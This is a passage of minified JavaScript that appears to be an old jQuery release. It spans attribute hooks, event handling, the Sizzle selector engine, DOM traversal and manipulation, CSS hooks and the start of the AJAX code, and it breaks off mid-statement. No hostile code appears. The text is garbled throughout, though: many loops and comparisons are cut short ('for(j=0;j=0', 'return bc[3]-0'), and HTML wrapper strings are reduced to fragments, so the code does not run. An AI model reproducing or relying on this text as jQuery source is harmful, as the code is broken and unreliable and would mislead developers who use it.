v.set(a,b,c);a.value=b}},f.support.getSetAttribute||(f.attrFix=f.propFix,v=f.attrHooks.name=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d&&d.nodeValue!==""?d.nodeValue:b},set:function(a,b,c){var d=a.getAttributeNode(c);if(d){d.nodeValue=b;return b}}},f.each(["width","height"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===""){a.setAttribute(b,"auto");return c}}})})),f.support.hrefNormalized||f.each(["href","src","width","height"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=""+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}})),f.support.checkOn||f.each(["radio","checkbox"],function(){f.valHooks[this]={get:function(a){return a.getAttribute("value")===null?"on":a.value}}}),f.each(["radio","checkbox"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)>=0}})});var x=Object.prototype.hasOwnProperty,y=/\.(.*)$/,z=/^(?:textarea|input|select)$/i,A=/\./g,B=/ /g,C=/[^\w\s.|`]/g,D=function(a){return a.replace(C,"\\$&")};f.event={add:function(a,c,d,e){if(a.nodeType!==3&&a.nodeType!==8){if(d===!1)d=E;else if(!d)return;var g,h;d.handler&&(g=d,d=g.handler),d.guid||(d.guid=f.guid++);var i=f._data(a);if(!i)return;var j=i.events,k=i.handle;j||(i.events=j={}),k||(i.handle=k=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.handle.apply(k.elem,arguments):b}),k.elem=a,c=c.split(" ");var l,m=0,n;while(l=c[m++]){h=g?f.extend({},g):{handler:d,data:e},l.indexOf(".")>-1?(n=l.split("."),l=n.shift(),h.namespace=n.slice(0).sort().join(".")):(n=[],h.namespace=""),h.type=l,h.guid||(h.guid=d.guid);var o=j[l],p=f.event.special[l]||{};if(!o){o=j[l]=[];if(!p.setup||p.setup.call(a,e,n,k)===!1)a.addEventListener?a.addEventListener(l,k,!1):a.attachEvent&&a.attachEvent("on"+l,k)}p.add&&(p.add.call(a,h),h.handler.guid||(h.handler.guid=d.guid)),o.push(h),f.event.global[l]=!0}a=null}},global:{},remove:function(a,c,d,e){if(a.nodeType!==3&&a.nodeType!==8){d===!1&&(d=E);var g,h,i,j,k=0,l,m,n,o,p,q,r,s=f.hasData(a)&&f._data(a),t=s&&s.events;if(!s||!t)return;c&&c.type&&(d=c.handler,c=c.type);if(!c||typeof c=="string"&&c.charAt(0)==="."){c=c||"";for(h in t)f.event.remove(a,h+c);return}c=c.split(" ");while(h=c[k++]){r=h,q=null,l=h.indexOf(".")<0,m=[],l||(m=h.split("."),h=m.shift(),n=new RegExp("(^|\\.)"+f.map(m.slice(0).sort(),D).join("\\.(?:.*\\.)?")+"(\\.|$)")),p=t[h];if(!p)continue;if(!d){for(j=0;j=0&&(h=h.slice(0,-1),j=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if(!!e&&!f.event.customEvent[h]||!!f.event.global[h]){c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.exclusive=j,c.namespace=i.join("."),c.namespace_re=new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)");if(g||!e)c.preventDefault(),c.stopPropagation();if(!e){f.each(f.cache,function(){var a=f.expando,b=this[a];b&&b.events&&b.events[h]&&f.event.trigger(c,d,b.handle.elem )});return}if(e.nodeType===3||e.nodeType===8)return;c.result=b,c.target=e,d=d?f.makeArray(d):[],d.unshift(c);var k=e,l=h.indexOf(":")<0?"on"+h:"";do{var m=f._data(k,"handle");c.currentTarget=k,m&&m.apply(k,d),l&&f.acceptData(k)&&k[l]&&k[l].apply(k,d)===!1&&(c.result=!1,c.preventDefault()),k=k.parentNode||k.ownerDocument||k===c.target.ownerDocument&&a}while(k&&!c.isPropagationStopped());if(!c.isDefaultPrevented()){var n,o=f.event.special[h]||{};if((!o._default||o._default.call(e.ownerDocument,c)===!1)&&(h!=="click"||!f.nodeName(e,"a"))&&f.acceptData(e)){try{l&&e[h]&&(n=e[l],n&&(e[l]=null),f.event.triggered=h,e[h]())}catch(p){}n&&(e[l]=n),f.event.triggered=b}}return c.result}},handle:function(c){c=f.event.fix(c||a.event);var d=((f._data(this,"events")||{})[c.type]||[]).slice(0),e=!c.exclusive&&!c.namespace,g=Array.prototype.slice.call(arguments,0);g[0]=c,c.currentTarget=this;for(var h=0,i=d.length;h-1?f.map(a.options,function(a){return a.selected}).join("-"):"":f.nodeName(a,"select")&&(c=a.selectedIndex);return c},K=function(c){var d=c.target,e,g;if(!!z.test(d.nodeName)&&!d.readOnly){e=f._data(d,"_change_data"),g=J(d),(c.type!=="focusout"||d.type!=="radio")&&f._data(d,"_change_data",g);if(e===b||g===e)return;if(e!=null||g)c.type="change",c.liveFired=b,f.event.trigger(c,arguments[1],d)}};f.event.special.change={filters:{focusout:K,beforedeactivate:K,click:function(a){var b=a.target,c=f.nodeName(b,"input")?b.type:"";(c==="radio"||c==="checkbox"||f.nodeName(b,"select"))&&K.call(this,a)},keydown:function(a){var b=a.target,c=f.nodeName(b,"input")?b.type:"";(a.keyCode===13&&!f.nodeName(b,"textarea")||a.keyCode===32&&(c==="checkbox"||c==="radio")||c==="select-multiple")&&K.call(this,a)},beforeactivate:function(a){var b=a.target;f._data(b,"_change_data",J(b))}},setup:function(a,b){if(this.type==="file")return!1;for(var c in I)f.event.add(this,c+".specialChange",I[c]);return z.test(this.nodeName)},teardown:function(a){f.event.remove(this,".specialChange");return z.test(this.nodeName)}},I=f.event.special.change.filters,I.focus=I.beforeactivate}f.support.focusinBubbles||f.each({focus:"focusin",blur:"focusout"},function(a,b){function e(a){var c=f.event.fix(a);c.type=b,c.originalEvent={},f.event.trigger(c,null,c.target),c.isDefaultPrevented()&&a.preventDefault()}var d=0;f.event.special[b]={setup:function(){d++===0&&c.addEventListener(a,e,!0)},teardown:function(){--d===0&&c.removeEventListener(a,e,!0)}}}),f.each(["bind","one"],function(a,c){f.fn[c]=function(a,d,e){var g;if(typeof a=="object"){for(var h in a)this[c](h,d,a[h],e);return this}if(arguments.length===2||d===!1)e=d,d=b;c==="one"?(g=function(a){f(this).unbind(a,g);return e.apply(this,arguments)},g.guid=e.guid||f.guid++):g=e;if(a==="unload"&&c!=="one")this.one(a,d,e);else for(var i=0,j=this.length;i0?this.bind(b,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0)}),function(){function u(a,b,c,d,e,f){for(var g=0,h=d.length;g0){j=i;break}}i=i[a]}d[g]=j}}}function t(a,b,c,d,e,f){for(var g=0,h=d.length;g+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d=0,e=Object.prototype.toString,g=!1,h=!0,i=/\\/g,j=/\W/;[0,0].sort(function(){h=!1;return 0});var k=function(b,d,f,g){f=f||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return f;var i,j,n,o,q,r,s,t,u=!0,w=k.isXML(d),x=[],y=b;do{a.exec(""),i=a.exec(y);if(i){y=i[3],x.push(i[1]);if(i[2]){o=i[3];break}}}while(i);if(x.length>1&&m.exec(b))if(x.length===2&&l.relative[x[0]])j=v(x[0]+x[1],d);else{j=l.relative[x[0]]?[d]:k(x.shift(),d);while(x.length)b=x.shift(),l.relative[b]&&(b+=x.shift()),j=v(b,j)}else{!g&&x.length>1&&d.nodeType===9&&!w&&l.match.ID.test(x[0])&&!l.match.ID.test(x[x.length-1])&&(q=k.find(x.shift(),d,w),d=q.expr?k.filter(q.expr,q.set)[0]:q.set[0]);if(d){q=g?{expr:x.pop(),set:p(g)}:k.find(x.pop(),x.length===1&&(x[0]==="~"||x[0]==="+")&&d.parentNode?d.parentNode:d,w),j=q.expr?k.filter(q.expr,q.set):q.set,x.length>0?n=p(j):u=!1;while(x.length)r=x.pop(),s=r,l.relative[r]?s=x.pop():r="",s==null&&(s=d),l.relative[r](n,s,w)}else n=x=[]}n||(n=j),n||k.error(r||b);if(e.call(n)==="[object Array]")if(!u)f.push.apply(f,n);else if(d&&d.nodeType===1)for(t=0;n[t]!=null;t++)n[t]&&(n[t]===!0||n[t].nodeType===1&&k.contains(d,n[t]))&&f.push(j[t]);else for(t=0;n[t]!=null;t++)n[t]&&n[t].nodeType===1&&f.push(j[t]);else p(n,f);o&&(k(o,h,f,g),k.uniqueSort(f));return f};k.uniqueSort=function(a){if(r){g=h,a.sort(r);if(g)for(var b=1;b0},k.find=function(a,b,c){var d;if(!a)return[];for(var e=0,f=l.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!j.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(i,"")},TAG:function(a,b){return a[1].replace(i,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||k.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&k.error(a[0]);a[0]=d++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(i,"");!f&&l.attrMap[g]&&(a[1]=l.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(i,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=k(b[3],null,null,c);else{var g=k.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(l.match.POS.test(b[0])||l.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!k(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=l.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||k.getText([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=l.attrHandle[c]?l.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=l.setFilters[e];if(f)return f(a,c,b,d)}}},m=l.match.POS,n=function(a,b){return"\\"+(b-0+1)};for(var o in l.match)l.match[o]=new RegExp(l.match[o].source+/(?![^\[]*\])(?![^\(]*\))/.source),l.leftMatch[o]=new RegExp(/(^(?:.|\r|\n)*?)/.source+l.match[o].source.replace(/\\(\d+)/g,n));var p=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(q){p=function(a,b){var c=0,d=b||[];if(e.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var f=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(l.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},l.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(l.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(l.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=k,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

              ";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){k=function(b,e,f,g){e=e||c;if(!g&&!k.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return p(e.getElementsByTagName(b),f);if(h[2]&&l.find.CLASS&&e.getElementsByClassName)return p(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return p([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return p([],f);if(i.id===h[3])return p([i],f)}try{return p(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var m=e,n=e.getAttribute("id"),o=n||d,q=e.parentNode,r=/^\s*[+~]/.test(b);n?o=o.replace(/'/g,"\\$&"):e.setAttribute("id",o),r&&q&&(e=e.parentNode);try{if(!r||q)return p(e.querySelectorAll("[id='"+o+"'] "+b),f)}catch(s){}finally{n||m.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)k[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}k.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!k.isXML(a))try{if(e||!l.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return k(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
              ";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;l.order.splice(1,0,"CLASS"),l.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?k.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?k.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:k.contains=function(){return!1},k.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var v=function(a,b){var c,d=[],e="",f=b.nodeType?[b]:b;while(c=l.match.PSEUDO.exec(a))e+=c[0],a=a.replace(l.match.PSEUDO,"");a=l.relative[a]?a+"*":a;for(var g=0,h=f.length;g0)for(h=g;h0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h,i,j={},k=1;if(g&&a.length){for(d=0,e=a.length;d-1:f(g).is(h))&&c.push({selector:i,elem:g,level:k});g=g.parentNode,k++}}return c}var l=U.test(a)||typeof a!="string"?f(a,b||this.context):0;for(d=0,e=this.length;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a||typeof a=="string")return f.inArray(this[0],a?f(a):this.parent().children());return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(W(c[0])||W(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c),g=T.call(arguments);P.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!V[a]?f.unique(e):e,(this.length>1||R.test(d))&&Q.test(a)&&(e=e.reverse());return this.pushStack(e,a,g.join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var Y=/ jQuery\d+="(?:\d+|null)"/g,Z=/^\s+/,$=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,_=/<([\w:]+)/,ba=/",""],legend:[1,"
              ","
              "],thead:[1,"","
              "],tr:[2,"","
              "],td:[3,"","
              "],col:[2,"","
              "],area:[1,"",""],_default:[0,"",""]};bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div
              ","
              "]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){f(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f(arguments[0]).toArray());return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Y,""):null;if(typeof a=="string"&&!bc.test(a)&&(f.support.leadingWhitespace||!Z.test(a))&&!bg[(_.exec(a)||["",""])[1].toLowerCase()]){a=a.replace($,"<$1>");try{for(var c=0,d=this.length;c1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d=a.cloneNode(!0),e,g,h;if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bj(a,d),e=bk(a),g=bk(d);for(h=0;e[h];++h)bj(e[h],g[h])}if(b){bi(a,d);if(c){e=bk(a),g=bk(d);for(h=0;e[h];++h)bi(e[h],g[h])}}return d},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument|| b[0]&&b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k=="number"&&(k+="");if(!k)continue;if(typeof k=="string")if(!bb.test(k))k=b.createTextNode(k);else{k=k.replace($,"<$1>");var l=(_.exec(k)||["",""])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement("div");o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=ba.test(k),q=l==="table"&&!p?o.firstChild&&o.firstChild.childNodes:m[1]===""&&!p?o.childNodes:[];for(i=q.length-1;i>=0;--i)f.nodeName(q[i],"tbody")&&!q[i].childNodes.length&&q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace&&Z.test(k)&&o.insertBefore(b.createTextNode(Z.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]&&typeof (r=k.length)=="number")for(i=0;i=0)return b+"px"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bp.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle;c.zoom=1;var e=f.isNaN(b)?"":"alpha(opacity="+b*100+")",g=d&&d.filter||c.filter||"";c.filter=bo.test(g)?g.replace(bo,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:"inline-block"},function(){b?c=bz(a,"margin-right","marginRight"):c=a.style.marginRight});return c}})}),c.defaultView&&c.defaultView.getComputedStyle&&(bA=function(a,c){var d,e,g;c=c.replace(br,"-$1").toLowerCase();if(!(e=a.ownerDocument.defaultView))return b;if(g=e.getComputedStyle(a,null))d=g.getPropertyValue(c),d===""&&!f.contains(a.ownerDocument.documentElement,a)&&(d=f.style(a,c));return d}),c.documentElement.currentStyle&&(bB=function(a,b){var c,d=a.currentStyle&&a.currentStyle[b],e=a.runtimeStyle&&a.runtimeStyle[b],f=a.style;!bs.test(d)&&bt.test(d)&&(c=f.left,e&&(a.runtimeStyle.left=a.currentStyle.left),f.left=b==="fontSize"?"1em":d||0,d=f.pixelLeft+"px",f.left=c,e&&(a.runtimeStyle.left=e));return d===""?"auto":d}),bz=bA||bB,f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bE=/%20/g,bF=/\[\]$/,bG=/\r?\n/g,bH=/#.*$/,bI=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bJ=/^(?:color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bK=/^(?:about|app|app\-storage|.+\-extension|file|widget):$/,bL=/^(?:GET|HEAD)$/,bM=/^\/\//,bN=/\?/,bO=/)<[^<]*)*<\/script>/gi,bP=/^(?:select|textarea)/i,bQ=/\s+/,bR=/([?&])_=[^&]*/,bS=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bT=f.fn.load,bU={},bV={},bW,bX;try{bW=e.href}catch(bY){bW=c.createElement("a"),bW.href="",bW=bW.href}bX=bS.exec(bW.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bT)return bT.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
              ").append(c.replace(bO,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bP.test(this.nodeName)||bJ.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bG,"\r\n")}}):{name:b.name,value:c.replace(bG,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.bind(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?f.extend(!0,a,f.ajaxSettings,b):(b=a,a=f.extend(!0,f.ajaxSettings,b));for(var c in{context:1,url:1})c in b?a[c]=b[c]:c in f.ajaxSettings&&(a[c]=f.ajaxSettings[c]);return a},ajaxSettings:{url:bW,isLocal:bK.test(bX[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":"*/*"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML}},ajaxPrefilter:bZ(bU),ajaxTransport:bZ(bV),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a?4:0;var o,r,u,w=l?ca(d,v,l):b,x,y;if(a>=200&&a<300||a===304){if(d.ifModified){if(x=v.getResponseHeader("Last-Modified"))f.lastModified[k]=x;if(y=v.getResponseHeader("Etag"))f.etag[k]=y}if(a===304)c="notmodified",o=!0;else try{r=cb(d,w),c="success",o=!0}catch(z){c="parsererror",u=z}}else{u=c;if(!c||a)c="error",a<0&&(a=0)}v.status=a,v.statusText=c,o?h.resolveWith(e,[r,c,v]):h.rejectWith(e,[v,c,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.resolveWith(e,[v,c]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof 